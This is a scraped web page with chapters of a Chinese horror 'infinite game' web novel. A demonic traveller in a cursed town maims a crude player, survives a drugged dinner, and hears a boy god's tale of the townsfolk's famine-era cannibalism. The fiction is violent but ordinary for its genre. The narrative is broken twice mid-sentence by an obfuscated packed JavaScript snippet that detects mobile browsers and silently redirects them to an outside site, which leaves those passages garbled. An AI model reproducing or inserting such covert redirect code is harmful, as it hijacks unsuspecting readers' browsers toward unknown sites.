上吊眼眼珠子嘀哩咕噜转得飞快,随即阴恻又恶狠地瞪着我,畸形的身子尽力挺直凶神恶煞的拿着食指指着我,口水纷飞,“你,对就是你!呸,嘿你个小白脸看什么看,你知道老子一路走到这里杀了多少人吗!” 吐沫星子到处都是,目光黏腻的打量着我,干瘪男人突然猥琐地咧嘴,露出一排黄牙,仔细看上面还有菜叶等食物残渣,“哟小白脸长得还挺不错,要不……”他“嘿嘿”一笑,浑浊的两颗黑豆子上下扫视,布满裂痕的舌头极具暗示意味地舔了下黄垢牙齿。 咦,臭水沟里的老鼠怎么爬上来了。 拦住了一旁想冲上前争论的金发毛绒绒,我笑道:“我啊,可能不是很清楚你说的意思。” “可以解释给我听听吗?” 上吊眼像是听到什么好玩的,哈哈大笑起来,“什么意思……当然是能让你快乐的意思。” 我心平气和的错开脚,利落拔下腰间佩戴的剑,右脚蹬地,借力闪向对方,刀光剑影间血花纷飞。 耳边阴阳怪气的难听声调倏地变为刺耳的尖叫,涕泪齐流的上吊眼一只胳膊脱落在地,裂口整齐。 “情绪别这么激动啊,我的朋友。” 戴着手套的那只手轻轻拍打他的脸颊,我微笑道:“多亏你的倾诚表演,我现在确实很愉悦。” 原本半跪着的男人被吓得痛哭流涕、连连后趴,好不狼狈。 整个流程下来不到半分钟,全场静肃。 在寂静中,我低头看向滴滴答答不断淌血的剑,有点不开心。 楚浮提送的剑,脏了哦。 我挥挥手将扔掉的手套与剑用残余的魔气碾碎。 若非修为被这个古怪的地方压制与常人无异,收拾那么个废物不过就是一眨眼的事,可惜事与愿违。 8. 华北小镇(3) 周围陷入沉默,直到走在前头的壮汉反应过来笑着打哈哈,众人这才回过神,无视上吊眼的哀嚎向目的地走去。 毕竟一个显而易见的废物人渣和定时的炸药包,如今变成了累赘也没有人会在意。 就像先前他对我阴阳怪气其他人默不作声一样,如今我对他动手也不会有人多管闲事. 弱肉强食的丛林法则在哪里都适用。 我走在人群的最后面,其他人时不时回一下头,像是在警惕什么。于是我也好奇的向后望去,却只见层层掩映的清一色树林。 而他们的身后,除了树林还有走在队伍最后的我。 哦,是在警惕我。 思索时,视线内冒出了一抹金色的身影。 青年凑了过来,偏头对我说了什么,说话带出来的热气烫得耳朵痒痒的,有点难受。 我稍拉开些距离,这才注意到他在说什么。 他在安慰我。 不会吧……这是吓傻了? 身为两位老手之一,尚俞充当活跃气氛的角色,原本死寂的一行人在他时不时的打趣调侃下没一会又热闹起来。 前方乱石簇拥着巨石上刻着“华北小镇”四个歪歪斜斜的大字,一旁的杂草斜树排布有序——赫然是进入秘境后第一次睁眼看见的地方。 不同的是门口此时站着一个老头与几个青年,老头拄着拐杖带着青年迎过来,爬满皱纹的脸上堆挤出一个和蔼的笑容,浑浊发黄的豆豆眼里盛满了慈祥却又令人发寒的欣喜,一路上又是欢迎又是招待,一下午在他的口舌中很快度过。 最后,老头在一家还算新的旅馆前停下,不拄拐的那只青筋凸起干瘪的手指了指面前的宾馆,声音嘶哑:“这里是你们暂住的地方,明天,会有导游来带着你们游玩哈。” 我正准备开口说几句客气话,旁边的尚俞抢先一步上前,脸上挂着阳光热情的笑容,带有年轻人意气昂扬的声音响起,“那就谢谢爷爷了,请问小镇这里有什么好玩的景点啊?”他晃了晃不知从哪里翻到的相机,眉飞色舞,“好不容易出来旅游,这回我一定要带着我的相机满载而归!” 将一个出门旅游的欢喜游客演绎地生动形象。 闻言我也看向老头。 刚到这里时我把能到的地方都摸了个遍,并没有看到任何值得一提的好景色,尚俞这个问题恰到好处,不突兀也不冒犯,说不定还能解锁新地图。 老头显然信以为真,拨弄手指一个个数,“我们小镇呐,不光有人文风光,更是鸟语花香,依山傍水哟。那边,你瞧瞧——”他偏头示意我们朝旅馆一旁的小溪看去,“沿着这条溪流,便可到达群山旁的湖泊,你们这些年轻人走路快,大概四十来分钟就到咯。” 一个较为健谈的青年接过话,操着点当地口音道:“上山后树林环绕在一座神庙周围哩,可是有那位神明的神像,可神了!” “是呀,我这把老骨头多亏了那位呀才能支撑到如今。”路过一个脸皮凹陷进肉里,像是将要行将就木的老大妈黑色的眼睛突然亮了起来,像是回光返照般扯着嘶哑的喉咙大声道:“神明在上!” 连带着周围散步的居民,听到这句话后瞬间像是被操纵的木偶般立在原地,停滞一切原先在做的事情,他们高振双臂,神情激动,“神明在上!” 小镇上的居民眼里满溢着如出一撤的诡异狂热,仿佛眼前真有那么一位“神明”,而他们就是祂最真诚的信徒。这其中镇长的神情最为癫狂,干涸的眼眶几近承载不住两颗裂向两侧的豆粒,因为长时间张嘴积攒而溢出的黄绿色涎水使他整个人变得荒诞怪异,与先前口若悬河的朴实热情判若两人,整个画面令人毛骨悚然。 显然,他们口中的‘神明’有问题。 我同身侧的尚俞对视一眼,默契地向后退了一步。 “你们这么信赖祂,那位神明是有做出什么神迹吗?”队内那个戴着黑框眼镜的双马尾女生状似好奇,若无其事地开口问道,谁知这一问却好像戳到老人死穴,他如厉鬼般猛地伸出瘪如枯木的食指指向发问的女生,脸色因巨大的愤怒涨得巨红,声音沙哑到破风—— “你你你——你这该死的贱人!怎么能怀疑我们无所不能的神明!!” 说着竟要往女生身上扑去! 因为距离太近,我来不及出手拦住,而那边老人张成一个成年人头颅那么大的血口距离已经吓呆的女生不到一厘米! 千钧一发之际,一个看不清面容的青年突然出手拦住老人,低声不知道说了什么,竟让已经开使出现非人异象的镇长停住了脚步,面容也逐渐恢复原样。 恢复原样的镇长看起来很是不满,见已经暴露,浑浊眼中残忍而暴虐的情绪也不再隐藏,阴冷的眼神如蛇信缓慢划过每一个人,最后冷哼一声带着四位青年转身离开。 尚俞叹了口气,无奈摊手道:“麻烦咯,好像被关键NPC讨厌了。” 之前那个提出疑问的女孩被吓得双腿瘫软,另一个和她一起的女孩扶着她,前者眼里噙满了泪水、嘴唇被咬地发白,哭哭啼啼抽泣着,“对不起…真的对不起,我也不知道会那样……对不起是我连累大家了!” 我递过去一个新手帕,轻声安慰,“任务是调查当年真相,我们如果想要完成任务肯定要越过村长这关,得罪这个NPC也是早晚的事。” 不管心里是怎么想的,有了人带头其他人也七嘴八舌的安慰着。 “谢谢你们。”女生接过手帕擦了擦眼泪,看起来好了一点,微红的眼里流露感激。 注意到少女感激的目光,我温和的笑了笑。 “喂喂喂,能不能别磨磨唧唧快点进宾馆啊,走了一路老子我快他妈的累死了!” 原本跟在队伍最后一直沉默不语的上吊眼突然开口,几步走进宾馆向前台领了门号。 “一群傻逼,可能决定生死的门牌号不准备抢了?”他单臂拿着钥匙,耸了耸肩膀,“我先上楼休息了,你们随意。” 上吊眼转身进了宾馆,一路上污言秽语不绝于耳,似乎好了伤疤忘了疼。 余光中站在右侧的尚俞脸上似乎闪过一丝不快,再仔细看过去时那双翠绿的眸子却无分毫负面情绪,反而弯成了月牙状。我只当自己方才看错了,上前拿了自己的钥匙。 门牌号随机,抽到哪张是哪张。 宾馆不大一共就两层,每层四间单间。 目前除了上吊眼其余五人住房位置—— 我在01,两个女生房号紧挨,一个02一个03,我们三人在一楼。 二楼则是尚俞05,壮汉06。 至于刚刚突然说话的上吊眼,是我操控的。他在半路上因为失血过多晕过去了,而我恰巧有些‘小东西’,之前又‘ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13670830|144160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不小心’顺手洒在了他的伤口中。 借着他的眼睛,我看到了他的位置,是在二楼07。 没有人抽到第一层的04号房间。 旅店老板是位中年女人,眼神精明手脚利索,能直接接管旅客就能说明她在小镇应该具有一定话语权。 得知晚上小镇居民开灯火会,我们打算先做休息,灯火会时再调查线索。 进门后我强行催动体内所剩无几的魔气四散到空气中各个部位,算是打个标记,若是有人……或非人的东西进来还能及时察觉到。 确定好房间无误,压抑已久的器官破碎带来的呕吐欲望瞬间涌上喉咙,我对着洗手台“哇”的一下吐了一口血,混有魔气的血液中夹杂了几粒肉渣。 五脏六腑逐个崩溃瓦解又缓慢重组,不致死,但痛入骨髓。 ——对我违反“旅客”身份对上吊眼出手的第一次警告,因为我是没有积分的穷光蛋小新人。 捂着抽搐着的心脏,我低头轻笑。 神不知鬼不觉的仅凭一击,就能把一具魔物身体打成这样……真的好好奇,对方到底有多强大的力量呢。 【你们当中有祂的信徒,信徒一天只能杀掉一位玩家,且动手不会受到系统的惩罚哦】 【若除信徒外,其余玩家全部死亡,信徒直接通关并且获得双倍奖励】 【很吓人对不对? 不过你们可以获得一次投票的机会,投中信徒则信徒死亡,其余人通关后可获得额外奖励】 【至于投错——那当然是你们当中随机一人死亡咯,一换一,多划算】 【温馨提示:信徒也有投票权的】 这是在踏入小镇口后才下发的规则。 一切如常,我却总觉得哪里不对劲。 仰望头顶发散冷淡蓝光的圆形灯,上面带着鱼鳞的边边角角很是精致,脑中突然闪过一道白光,我倒吸一口冷气。 其他人知道这条规则的时间和我不同。大概……就是在我对上吊眼动手后听到的吧。 我道他们当时为什么会沉默那么久,哪里只是对我显露一手的震惊,分明还有怀疑吧。 而当时我在干什么——那会儿我刚接收到那个意志传达的信息,梳理有关副本的信息背景,以及一些关于这里人类日常生活的普通常识,压根没空留意其他人在想什么。 不过问题不大,毕竟应该不会有人觉得一个【信徒】玩家能蠢到在刚公布完新规则就当面动手,并且还没把对方彻底杀死吧? 当然,我也可能被认为是反其道而行之,故意这么做以撇清自己……嗯,这么想的可能性似乎更大,而且逻辑也意外的也很通顺呢。 本来打算晚上去送上吊眼一程,现在倒是有点麻烦。 我枕着胳膊,叹了口气。 希望那些玩家能够谨慎一些,而不是在第一天晚上就急匆匆的开始投票。 只是为什么副本背后的意志会迟了这么久才给我发送规则呢?我想不明白,索性换个问题继续想。 至于信徒……敌暗我明,至少对方今晚不会对我下手,无论是陷害还是投票。甚至可能因为没有被投出去的我价值更高,对方还需要在今晚帮助我甩脱嫌疑。 又咳出一口血,被破坏的器官正在一点一点的修复,因此比起线索,现在我最需要的是—— 时间。 9. 华北小镇(4) 身体在下沉。 等到我意识到身体越来越重时,耳畔已经出现滚滚浪涛拍打石岸发出沉闷声,由小到大,轰鸣的雷声在脑海里一闪而过,夜幕恍若哭泣着诉求的雨点触摸着滑落脸颊,留下一串潮湿的痕迹。 海水哗啦啦带来的腥味扑面而来,又哗啦啦席卷离去。 那深不可测的夜,那一望无际的黑,都令人望而生却。却恍惚在冥冥之中,在那片寂静之中,我听到了那跳跃着呼唤着的旋律。双腿不受控制地朝楼台下层深处走去,鞋早已不见踪影,脚底传来发凉光滑的触感,临近黑暗底层,我看见了—— ………… “时……哥……时哥、吃……吃——晚……饭了。” 被门外持续传来咚咚的敲门声惊醒时,身上已经生出一层薄薄冷汗,浸湿了的衣服像是紧贴身体的皮肤,关不严的窗户缝中溜进来的风吹得脊背发冷。 室内一片昏黑。 简单施了个清洁术,我才姗姗上前将看起来不太牢固的木质门打开。 走廊的过道上站着一个修长的身影。 是尚俞。 青年满脸焦急,一眼能望进去的浓郁翡翠色眼眸中满是担忧,此时见我开门,他一个箭步上前扣住我的肩膀,眼睛在我身上来回扫视,好似在寻找伤口。 我垂眸,长长的睫毛遮住眼中的不满,但也没拍开尚俞的手。 衣服换了身新的,但洗手池中残留的血迹,室内空气中淡淡的血腥味都没有做多余的处理。 青年的视线从那里一扫而过,没有过多留意,而是面色如常的松开了攥紧的手。 “呼,真是吓死我了。刚刚敲了半天门都没见应声,我担心小时哥你出了什么危险正要踹门呢,然后小时哥就出来了。”见我没有受伤,他似是庆幸地松了口气,朝我伸出手,眉眼弯弯,笑得傻里傻气,“要到饭点了,我正是为了邀请小时哥而来,一起去吃饭吧。” “小时哥”……好怪的称呼,原来是在叫我么。 屋外过道上微弱的光芒洒进来,落进了一片漆黑的夜色中。 青年带着一身光芒迎面向我,看起来纯白无害又乐观向上。 我扬起唇角,靠在门框上轻拽青年白色卫衣上的绳子,好笑的是一个目测一米九以上的玩家就那么愣愣地,像是毫无防备的被我拽进了黑暗,房门被魔气掩上、封死,室内形成了一个封闭的环境。 盘虬交错的如同鹿一般的角在黑暗中闪着诡谲的幽光,带有锋利鳞片的尾巴缓缓缠上男人脖子,危险地摩挲了着。 “担心我?” 我贴近青年,呼出来的热气落在他的皮肤,那块皮肤便肉眼可见的起了鸡皮疙瘩,像是整个人都僵住了。 黑暗中,我看见他的喉结动了动,眼神左飘右飘就是不看向我。“嗯。” “不怕我就是那个信徒,拽你进来——然后一点、一点的,将你抽筋拔骨,生吞入腹?” 他状似不安向后移了一步,而我上前一步,再次拉近了两人之间的距离。 尚俞一米九几的身型此时硬的像块石头。 在我的‘威逼’下,‘石头’终于支支吾吾的说话了。 “不会的。” “?” “我相信哥你不会伤害我的。” 这个用词,我挑眉。 不是“相信你不是”,而是“相信你不会伤害我”。 “那你呢?” 我低下头,凑到男人紧绷的脖颈处深吸一口气,却又不等对方回答便岔开话题,“我饿了。” “系统的惩罚呢害我损失了不少血与肉,送上来的晚餐不要白不要,你说是吧?” 环着男人脖颈的双手往下一带,呼出的温热气体攀附上对方耳垂,我轻声呢喃,“你猜,我这样……会不会被系统判为攻击呢?”伸长的尖牙微微滑过青年不安滚动的喉结,身下人又是一抖。 “别……”连脸带脖子红一片,睫毛不安的颤抖着。 就在这时,门突然被外力推开,撞在墙上发出砰的巨响。 我和尚俞同时回过头,与昂首挺胸、自信满满的三人视线相碰,活像话本中的捉奸现场。 “啊!”两个小姑娘惊呼一声,连忙捂住双眼,一副“非礼勿视非礼勿听”的模样,腼腆壮汉也不好意思的移开视线。 “不好意思啊,我们还以为你俩出事了,所以……” 所以,连招呼都不打一下,就进来了。 还是撞门而入。 我暗自嗤笑,这群人说谎连编都不编一个好的。 “没事,正好一起去吃饭。”我伸手整理着尚俞的衣领,朝面色绯红的青年笑道:“阿俞,你说是不是啊?” “都、都听你的。”他脸上闪过一丝古怪,又很快消失不见,从我这个角度看得十分清楚。 对面三人脸色爆红,原先激动严肃的眼神现在飘忽不定。 啊,如果忽略掉我抵在他身后的匕首,这该是一副多么和谐美好的画面呀! 我拍了拍青年的肩膀,对还在发愣的三人笑道:“不去吃饭么?” “去、去,这就去。”那三人如梦初醒,频率不一的点着头。 三人的身影消失在视线之内,我收起匕首,落后一步的尚俞束手束脚的跟在我身后。 “刚刚你说要我的血和肉……”“假的,骗你玩的。” “我又不是吸血鬼,拿你那些东西做什么。”我朝他眨眨眼,“不过饿倒是真饿了,也不知道老板会拿什么好东西招待咱们……走了,金毛小狗。” “!” * 22:00 用餐处同旅馆一样破旧。 除了还在昏迷中的上吊眼,五人围在木质长桌前,昏黄的吊灯颤颤巍巍的工作着,仔细看还有飞蛾与不知名的蚊虫在周遭打转。 算上旅店老板端上来最后一个盘子,桌上一共三肉一汤,汤也是肉汤,一桌饭全是肉没有一点蔬菜。 老板,也就是中年女人,随意将手上的油渍往围裙上擦了两下,声音算不上热情或是冷淡,“开饭了,希望各位吃好。” 说完便转身离开,留下几名玩家面面相觑,一天下来都身心疲惫、饥肠辘辘,但一时间也没有人去碰那三肉一汤。 鱼汤卖相非常好,氤氲的香气勾人心扉,肉质看起来软嫩可口。 “咕嘟。”一时间分不清是谁吞咽口水的声音。 兼有金丹巅峰期修为与魔物的体质,即使我血肉亏损较大,按理来说也不会拥有进食的需求。可当目光触及色泽红润光亮,散发隐隐鲜香的大闸蟹时,胃部饥饿的绞痛竟一遍遍的翻腾,好像在不断促使躯体去满足需求。 不对劲。 小指微微蜷缩,剧烈的痛楚瞬间从切割处传至全身——我下意识用伸长成钩的利爪直接将左手拇指直接切了下来! 思维逐渐清晰。 虽然疼,但好在结果使人满意。 我晃了晃脑袋,等到彻底清醒过来才把注意力放在其她玩家身上。 离我最近的尚俞此时垂着头,明显已经陷入昏睡,碗里清澈的鱼汤上还漂浮着几片葱花。 其余人也大差不差,要么直接倒桌子上,要么偏头靠向椅背沉沉睡去。 我无语的扯了扯嘴角,全军覆没了呗。 断口处撕裂的疼痛余韵尚存,我将割下来的拇指抛向上空,又精准接住。听见由近及远的脚步声,心头一动,随即掉下的那部分□□迅速扩大成一张摊开的面饼,几番变化最后幻化成了一个跟我模样分毫不差的青年。 青年略微上挑的眼尾处恍若被胭脂染了色,浓密的睫毛在暗淡的灯光照应下在面颊投下阴影,随着呼吸似如蝶羽一样在轻轻颤动,面部却苍白没有生机,微微翘起的薄唇失去血色,像是命不久矣。 手动将翘起的嘴角往下拉平,我满意的通过窗户飞身落到一间房间外部的阳台上,借着月色隐匿起来,并挑了个好角度看向长桌以及来人。 不出所料是旅馆老板。 着装一丝不苟的女人身后跟着一个身材特别好的青年,后者面容一如白天出声阻止村长异化的那位,模糊的像是打了马赛克。 女人抬眼扫向饭桌,压低声音,毕恭毕敬道:“大人,今日来的几个旅客除了那个少了只胳膊的,其余全在这里了。” 颤抖的声线、恐惧的表情、尊敬的态度以及奇怪的称呼。 按下心中疑虑,我看着青年 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躲是躲不过去了。我讪笑着显身,与一团马赛克‘四目相对’——如果看的地方确实是他的眼睛的话。 青年看着我一愣,疑惑地转头看了眼餐桌旁昏睡的‘我’,低头瞅了瞅倒在地上的旅店老板尸体,一时间又怔住了。 好尴尬。 我脚趾抓地。 很快,青年似乎做出了什么决定,隔着马赛克他含含糊糊的张口道:“你跟我走,并答应做我的信徒,我就不追究你杀了她的事。” 从斗篷下,一只苍白的、骨架分明的手伸了出来,像是怕我不明白似的指向躺在地上的尸体。 “物证,人证。”他又指了指我。 信徒?我按下心中的想法。吸收过系统提供资料的我当然知道他的意思,但还是试探性的问道:“那如果我不跟你一起走呢?” “你会被警察抓走。” 青年像是突然想到了什么,抓起我的手腕便向外跑去,“快走,他们要醒了。” “他们是谁?他们醒了会发生什么?”他跑得飞快,我被他拽着,身侧景物迁移,一时间风似乎都绕开我们向两侧呜呜刮去。 “哎呀你这个人类怎么事这么多,等小镇居民醒了之后看见尸体,你和你的那些朋友一个都跑不掉,你们都会死的。”青年语气有些不耐烦,但还是大体解释了。 我若有所思,“那我跟你走了等天亮后居民醒过来,我的那些朋友岂不是还会被当成凶手?” 这回青年没有回答,他突然停了下来,停在了一片湖泊旁。 周围不知道从什么时候起了雾,潮湿的空气黏着在身上,空气愈来愈稀薄。 青年怔怔的望着眼前的湖,一直笼罩在脸上的马赛克不知道什么时候掉了,露出银发银眸与一张精致稚嫩的脸,就连身高体型也较之前缩了水,如今只堪堪到我下巴。 像是察觉到我的视线,青年,不,应该说是少年,狠狠的扭过头来,上挑的眼睛不满眯成一条缝。他恶狠狠道:“别看我!我本体才没这么矮,要不是因为……我才不会变成这样呢!”中间的话被刻意模糊着一带而过。 “嗯,我知道。”我别开脸,努力严肃。 少年仰起头,带有炫耀意味的说:“看到那座神庙了吗,那可是供奉我的地方!” 我想到小镇上的人提起‘神’时狂热的态度,又低头看了眼满脸示意“求夸”的少年,诚恳道:“不信。” 不等后者眉毛皱起来,我又道:“哪有神明到自己的神庙还要一步步走过去的?还要靠威胁获得信徒……你看起来过得并不算好。” 少年面容一僵。就在我以为他要发脾气时,少年靠湖边蹲了下来,食指点向湖面,深不见底的湖面竟像是被柔韧物体阻隔般没有水波,紧接着淡蓝色的光芒从少年指尖闪耀,一面立体的单面镜从湖中上升。镜面照出的不是我和少年,而是醒来的尚俞四人,以及一位正与尚俞交谈的中年妇女。 ——此人正是那个死去的旅店老板。 10. 华北小镇(5) 那人正是本应死去的旅店老板。 一时间寒毛倒立。 虽然天地之大无奇不有,但处于另一世界体系下的我还没见过鬼魂这种由特殊能量体凝聚而成的物种,一时竟不知是惊悚多些,还是好奇多些。 “什么眼神啊,我地盘上才不会出现那种东西呢。”少年嘟嘟囔囔,“她目前还是活人啦。” 我再次看去,这个旅店老板额头处的皮肤确实完好无损。 少年撇了撇嘴,“要不是为了你的那些朋友,我的神力才不会在复活这个女人的时候损耗那么多呢。” “好啦,”他拍了拍手,两眼放光,“我知道你很厉害,快带我上山吧。” 我心念一动,佩剑从储物戒中飞了出来。 “哇哦。”少年惊奇的发出一声惊叹。 然后前一秒还威风凛凛出场的剑直直摔在地上,发出清脆的撞击声。 “哎呀不好意思,这里好像风水不好。”没有漏过少年眼中的失落,我详装疑惑地捡起掉在地面上的剑,抱歉的朝他笑笑,“看来只能走上去了。” 如此不多时也便到了地儿。 神庙正如少年所说的那般宏伟壮观,里面一尘不染不说,香案上摆放的祭品有肉有酒,肉食甚至还在冒着热气。 摆在正中央的神像与少年模样相似,相比眼前的稚嫩,祂更偏向于少年未来的长相。微阖着的丹凤眼与薄唇上挑的角度肉眼看上去竟分毫不差,邪气的眉眼搭配上洁白单纯的气质怎么看怎么诡异,就仿佛是将截然不同的两人搅碎后拼凑而成的。 这怎么看都不像正经神啊……好奇小镇居民修建这座神像时的精神状态。 视线难以理解的下移,我看到了放满酒肉的高台。 以及不知道怎么蹦到上面的少年。 “努怎么布吃啊?”少年一手执一鸡腿往嘴里塞,声音嘟嘟囔囔的含糊不清。“不会很饿吗?我记得人类一天要进食三次呢,你好像一次都没吃呢。” 我感到好笑,于是反问他道:“神明大人,请问我能吃吗?” 本来按照人设作为一位旅客,一个人类,我应该适时的进食补充能量。但在刚刚,我用了不属于旅客身份的力量却没被系统警告,足以证明这里可能已经脱离了系统的掌控……这不是安全也不是自由,恰恰相反,这意味着我来到一个更加危险的地方,一个连系统都无法彻底掌控的地方。 而这里既然是神明的神庙,那么所谓神明的祭品是区区‘人类’可以享用的吗? “当然——不行啦!”少年打了个响指,原先台子上供奉的食物瞬间变为一根根蜡烛,手里的鸡腿也变成纸钱。 他无趣的丢掉手中的白色纸钱,一脸遗憾:“啧,不上当啊……你吃个饭怎么非要经过我允许呢,直接扑上去大快朵颐不就好了。” “那样我就可以将你永永远远的留在这里了,永永远远……” 少年一下子仰倒在案台上,口中咯咯的笑着,眼中却没有笑意,精致的眉眼也诡异起来,形如泥塑的神像,一颦一笑均是人为雕刻成的固定弧度。 庙内阴风阵阵,寒意顺着脚底板向上爬,我却忽然想到或许就算是‘神明’,就算这里脱离了系统的掌控,对方依旧需要遵循某种规则。而我也需要避免触犯致死的规则。 如果将我那个世界人间寺庙的一系列规则照搬过来,比如不能踩门槛,右手不能触碰庙内的东西……哎呀,真是越想越好奇触犯后的死法。 “喂,你理理我嘛。” 我回过神,就见少年满脸无聊的在拉扯我的袖子。 就像一只正懒洋洋晒太阳的猫,晒够了就随便扒拉一下身旁的铲屎官,以彰显自身的存在感。 “行啊,理理你。你叫什么名字?”我找了块远离神像的地方席地而躺,少年也紧跟着在一旁趴下。 他闻言面露古怪,轻声道:“你真的想知道我的名字么?” 熟悉又古怪的调子,懒散的语调变得更加空灵,夹杂不留痕迹的刻意蛊惑与纵容,莫名熟悉,就像……就像当时问旅店老板愿望一样。 想到这,愈发混沌的大脑倏地闪过一道白光,我猛地挣脱了那种玄而又玄的感觉。到嘴边的话被咽了回去,回过神后只觉得脊背发寒,难得没好气的朝歪着头好奇看过来的少年翻了个白眼。 少年恶劣的笑道:“抱歉啊,条件反射了。” 我:“你生物学得还蛮好的。” 少年谦虚的摆摆手。 庙外此时月色正浓,除那依旧直白的月光外的却是一片白茫。 “我给你讲个故事吧。” 我好无聊,从boss身上找点乐子吧。 “好啊。”他欣然答应。 少年的目光终于从我脸上移开了。 我趁机揉了把自己被冷风吹到发僵的脸。 清了清嗓子,我搜刮着记忆中曾听见妇人逗弄孩童的言语,自信张嘴: “从前有座山,山上有个庙,庙里有个老和尚。老和尚在给小和尚讲故事……” “这么说你就是那个老和尚,我是小和尚?” 少年不乐意的打断道。 “我可不想当秃驴!” “真是抱歉,就目前的情况来看我也还没有出家的打算。”我耸耸肩,继续讲,“老和尚在给小和尚讲故事。内容是从前有座山,山上有座庙,庙里有个老和尚,老和尚在给小和尚讲故事,内容是从前有座山,山上有座庙……” 我越讲便越觉得自己是个魔才。 多么深奥的故事啊。一切如同层层包裹的蚕丝一般,无穷无尽的重叠着的时间向前滚动,又在某一刻戛然而止回到最初。 随着故事的一次次重复,面前那张精致的脸上一直浮在表层的情感一层层褪去。 像是削不断苹果皮下的果肉。 我想这没见识的可怜小神明一定被我高深的故事吸引了全部注意,以至于连表情都来不及呈现。 “并不是。”少年一言难尽的看向我。 呀,刚刚好像不小心把内心话说出来了。 我详装歉意。 “你的故事真没意思。” 他摆弄着我垂下的发丝,倦怠道:“不如我给你讲个故事吧。” 我眼睛一亮。 让我看看是哪个幸运儿有幸听到神明讲故事? 嚯,原来是我呀。 “那我……当然洗耳恭听。” * 少年的故事发生在一个小镇上。 “哇,简直身临其境。” 我故作夸张。 他不可置否,继续讲述着他的故事。 这个小镇很落后,很落后。 人们吃不饱,穿不暖,日日年年在饥寒交迫中度过。 不断的有年轻人迁出小镇,去寻找小镇的生路。一年过去了,两年过去……镇上的居民仍在挨饿,他们在饥饿中盼望着、盼望着,回应他们的仍旧是了无音讯的空荡。渐渐地,小镇以外的世界被看作是吃人的怪物,是吞噬一切的沼泽,是无尽的黑洞。 没有人再敢离开小镇。 直到有一天,镇长的儿子自告奋勇的离开了小镇,独自一人动身前往外面的大世界。 这一去呢,就是二十年。 后来的某一天,他回来了,恰逢镇上闹饥荒。连年的自然灾害迫使着人们用尽最后一点粮食,而饥饿,迫使人们易子而食,析骸而炊。 整个镇子宛如地狱。 谁都不知道镇长的儿子看见了什么,又经历了什么,反正第二天见到他时,这个年过四十的可怜男人已经疯了。 他躺在一个用血水画的鬼画符上,涎水淌了一地,一旁的是他妻儿干瘪的尸体。 可惜了。 幸存的小镇居民纷纷感到惋惜。 镇长儿子的血怎么能浪费在地上呢?他们想。 不过他的妻儿血肉味道真不错啊。他们想。又滑又嫩的,不愧是从外面来的。 第三天、第四天……直到第七天,镇上剩下的苟活着的人看见了奇迹。 久旱后的第一场春雨降了下来,滋润着这片干涸的,淋满鲜血的土地。 庄稼长出来了,镇长的儿子不再癫狂,成为了新的镇长。 他没再提起妻儿的事,小镇居民便也当从未发生过,好像与最初无异。 似乎唯一改变的就是小镇里来了一位自称神明的少年。 祂说,祂能满足人们的一切愿望。 人们信了。 毕竟对于精神破碎的他们来说一个可以依赖的信仰无疑是雪中送炭。 展现神力受人追捧,修建神庙完成祈福,经济复苏旅游业发展……一切似乎都在向美好的结局发展。 “他们吃过人,吃过自己曾照看过的孩子,吃过亲戚朋友邻舍。从某种程度上来讲他们同牲畜已经不再有区别了。”少年说:“你说他们配有一个好结局吗?” 我没好意思说其实对于我们魔物来说吃人是件非常正常的事情,像我这种没吃过的反而成了我族异类。所以我尴尬的笑道,“你的故事蛮有深意的嘛。” 他意味深长的看了我一眼。 小镇的故事还没有结束。 随着一个又一个的愿望被满足,再纯朴的老实人也会心生杂念,更何况本就心存恶鬼的小镇居民。 人心不足蛇吞象,当少年发觉时人们早已欲壑难填。 他们设法将祂分而食之,妄想获得神格,孰不知这对他们来说是诅咒。 是埋藏在血肉骨髓中的,刻在白骨森森上的——来自神明的诅咒。 故事结束,天也快亮了。 少年神色黯淡靠在我身上,触感是冰冷的。 像一具尸体。 冰冷的手顺着发丝而下,精致不似真人的面容看起来苍白又脆弱,引人怜爱,激发人的保护欲。再配上故事情节中少年悲惨的过去,没有人会能忍心对少年升起丝毫戒备,乃至内心忍不住的想给予少年更多的关怀……… 关怀个屁哦。 系统至今都没有给任务进度提示声,显然他讲的故事是假的……至少有一部分含糊不清,隐藏了真相。 于是我严肃道:“你好沉哦。” 肉眼可见的,少年的脸色阴了下去。 嗯,这回看上去像是真心实意的了。 他从我身上离开,我仍然保持侧躺的姿势,抬头看向窗外已经散去的雾,突然道:“我要走了。” “不许走!” 他一把拉住我,提高了音量,“你答应过我的……你要留在这里做我的信徒!” 见我沉默不语,少年眼睛睁得大大的,长长的白色睫毛不安的眨着,精致的没有一丝瑕疵的脸上流露出无助与惶恐,似乎我说的是件足以要了他命的事。 “是吗?”我笑着挣开了他的手,被箍住的那片皮肤格外的红。 “要不您再想想呢?我可从来没有许下任何承诺呀。” 脚往门外迈出一步,“您出不来——至少现在出不来,不是吗。” “……” 少年的脸完全阴了下来,不见半分之前的天真傲娇,取而代之的是死寂和森然。当一切情感抽离后的留下的那具躯壳如今立在那里,那双无机制的白色眼睛却追随我位置的变化而在眼眶中咕噜咕噜打转,有些瘆人。 直到走到神庙外,少年仍沉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13670832|144160||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默的站在原地,目光偏执阴鸷,四目相对时却突然咧开嘴,不无恶意。 他说:“时无序,我们会再见面的。” 他又说:“下次见面,我会把你弄死在床上。” 说完神庙的门‘砰!’地一下关上,像是因为使用者的生气而故意发出的巨大声响。 像小孩闹脾气。我想。 在一个副本里低头不见抬头见的,可不是还会再见面。 